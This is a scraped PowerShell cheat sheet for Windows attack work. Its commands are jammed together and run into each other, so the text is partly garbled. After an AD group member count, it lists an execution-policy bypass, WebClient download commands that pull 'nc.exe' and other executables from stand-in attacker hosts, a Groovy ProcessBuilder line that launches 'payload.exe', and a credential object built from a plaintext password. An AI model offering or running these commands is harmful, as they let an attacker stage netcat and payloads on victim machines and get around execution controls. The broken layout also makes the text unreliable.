Powershell Cheat sheet
Get-ADGroup -Filter * | ForEach-Object { $_.Name + " : " + (Get-ADGroupMember -Identity $_.DistinguishedName | Where-Object { $_.objectClass -eq 'user' }).Count }powershell -executionpolicy bypasspowershell.exe "(New-object System.Net.WebClient).DownloadFile('http://domain.com/whoami.exe','c:\Users\Public\whoami.exe')"powershell "(New-object System.Net.WebClient).Downloadfile('http://IP:PORT/nc.exe','nc.exe')"println new ProcessBuilder("payload.exe").redirectErrorStream(true).start().text$username = 'user'
$password = 'password'
$securePassword = ConvertTo-SecureString
$password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential
$username, $securePasswordPowershell Cheat sheet
Cheatsheet
Enumerate Through powershell
Environment Variables in Windows
How to use them in PowerShell
List of environment variables
Variable
Description
Add a user with admin privilege
Last updated